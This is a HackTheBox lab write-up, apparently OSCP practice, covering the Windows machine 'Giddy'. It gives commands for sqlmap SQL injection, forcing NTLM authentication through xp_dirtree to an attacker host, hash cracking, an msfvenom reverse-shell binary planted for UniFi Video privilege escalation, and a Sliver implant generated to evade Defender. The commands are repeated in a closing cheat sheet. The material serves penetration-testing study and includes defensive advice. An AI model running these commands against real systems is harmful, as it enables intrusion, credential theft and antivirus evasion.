# OSCP Prep #19
HTB Write-Up Giddy

# 1\. Target Overview

*   **Machine Name:** Giddy
    
*   **Platform:** HackTheBox
    
*   **Operating System:** Windows
    
*   **Target IP:** 10.129.96.140
    
*   **Objective:** Gain initial access to the target system and escalate privileges to full administrative control.
    

This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with **antivirus evasion**, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.

### Tools Used

*   Nmap
    
*   ffuf
    
*   sqlmap
    
*   Responder
    
*   John the Ripper
    
*   Evil-WinRM
    
*   msfvenom
    
*   Sliver
    

* * *

# 2\. Enumeration

I began the engagement with an Nmap scan to understand the attack surface of the target.

```bash
nmap -sC -sV -T4 10.129.96.140
```

From the scan results, I observed several key services:

*   **80/tcp (HTTP)** → Microsoft IIS 10.0
    
*   **443/tcp (HTTPS)** → Microsoft IIS 10.0
    
*   **3389/tcp (RDP)** → Microsoft Terminal Services
    
*   **5985/tcp (WinRM/HTTPAPI)**
    

While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.

I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.

```bash
ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
```

When visiting the root page on both ports, I was met with nothing more than a static image of a dog.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/12bf09b2-264e-4405-b7c0-912f03cd6e76.png align="center")

There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.

At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f74573a8-8854-4d0f-98b7-2b7699717e8b.png align="center")

*   `/remote`
    
*   `/mvc`
    

The `/remote` endpoint presented a **Windows PowerShell Web Access login portal**, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/828ef3d2-3b65-4293-a083-fc29c1f76f72.png align="center")

I then moved to the `/mvc` endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/7b675c2c-3de5-4030-a17c-9b24c4064c77.png align="center")

While browsing through it, I noticed that product links exposed a query string parameter:

```text
Product.aspx?ProductSubCategoryId=11
```

Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.

I first tested for file inclusion by attempting to load a local file such as `/windows/win.ini`, but this did not yield any results.

Next, I tested for SQL injection by inserting a single quote (`'`) into the parameter. This triggered a **500 internal server error**, leaking backend SQL information.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/f62b5125-be8f-49f6-a4d2-6a17bec5a630.png align="center")

That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.

* * *

# 3\. Exploitation

With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.

```bash
sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
```

Sqlmap successfully identified a **Microsoft SQL Server backend** and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.

At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.

I set up an SMB listener using Responder and leveraged the `xp_dirtree` function through sqlmap to force the server to authenticate to my machine:

```bash
sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch
```

This worked perfectly. The server attempted authentication, and I captured an **NTLMv2 hash for the user Stacy**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/113e296d-240c-4da7-9300-a1b4221ecfcf.png align="center")

I then cracked the hash offline using John the Ripper:

```bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

With valid credentials in hand, I returned to the `/remote` PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as **Stacy**.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/537da0bd-f55a-4cb9-93c9-ab3385a3f6e0.png align="center")

* * *

# 4\. Privilege Escalation

Now operating as a low-privileged user, I began my standard Windows privilege escalation process.

*   Enumerated users:
    

```bash
net user
```

*   Checked privileges:
    

```bash
whoami /all
```

No useful privileges were identified.

I then checked for:

*   AutoLogon credentials → none
    
*   GPP cpasswords → none
    

At that point, I pivoted to the user’s home directory and discovered an interesting file:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/26b2e37a-d868-4b24-b624-52d1c2820ce8.png align="center")

```text
unifivideo
```

After transferring it to my machine and inspecting it, I found it contained only:

```text
stop
```

This pointed me toward **UniFi Video**, a service likely installed on the system.

Research revealed a known privilege escalation vulnerability:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/35cb9329-519c-482f-a6c4-0596798a27b6.png align="center")

*   The UniFi Video service runs as **SYSTEM**
    
*   It attempts to execute `taskkill.exe` from its installation directory
    
*   The directory is **writable by low-privileged users**
    
*   The binary does **not exist by default**
    

That combination allows arbitrary code execution as SYSTEM.

I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
```

I transferred the payload to the target and identified the service name by enumerating the registry:

```powershell
dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
```

After identifying the service, I stopped and restarted it to trigger execution.

However, no shell was received.

This was a key turning point. The payload failed because **Windows Defender detected and blocked the msfvenom binary**.

Instead of forcing the same approach, I adapted and switched tools.

This is where I was introduced to **Sliver**, and more importantly, the concept of **implants**.

An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.

I generated a new implant using Sliver:

```bash
sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64
```

I renamed the generated binary to `taskkill.exe` and transferred it to the target.

After restarting the UniFi service again, the implant executed successfully and bypassed Defender.

I received a callback and confirmed my privileges:

```powershell
whoami
```

```text
NT AUTHORITY\SYSTEM
```

Full control of the machine.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/055242d1-e0ac-4f51-bf69-1bdb72567cc1.png align="center")

* * *

# 5\. Lessons Learned

**1\. Web Enumeration Is Everything**  
Identifying `/mvc` and recognizing the importance of query parameters was the key that unlocked the entire attack chain.

**2\. SQL Injection Can Be Leveraged Indirectly**  
Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.

**3\. NTLM Capture Remains Extremely Effective**  
Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.

**4\. Antivirus Changes the Game Completely**  
This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.

**5\. Understanding Implants vs Traditional Payloads- How to Use Sliver**  
This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:

*   Use modern communication methods (like mTLS)
    
*   Are obfuscated and less signature-based
    
*   Behave more like real applications
    

This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”

**6\. Tool Adaptation Is Critical**  
When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.

* * *

# 6\. Defensive Insight

**1\. Proper Input Validation Prevents SQL Injection**  
Parameterized queries would have completely eliminated the initial attack vector.

**2\. Restrict Dangerous SQL Functions**  
Functions like `xp_dirtree` should not be accessible, as they enable forced authentication attacks.

**3\. Block Outbound SMB Traffic**  
Preventing outbound authentication would stop NTLM hash capture attacks entirely.

**4\. Secure Service Execution Paths**  
Services running as SYSTEM must not rely on executables in writable directories.

**5\. Improve Behavioral Detection**  
Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.

* * *

# Useful Commands

### Nmap Scan

```bash
nmap -sC -sV -T4 10.129.96.140
```

### Directory Fuzzing

```bash
ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt
```

### SQL Injection with sqlmap

```bash
sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch
```

### NTLM Capture via SQL Server

```bash
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"
```

### Crack NTLM Hash

```bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

### Generate msfvenom Payload

```bash
msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe
```

### Enumerate Services via Registry

```powershell
dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi
```

### Generate Sliver Implant

```bash
sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64
```

* * *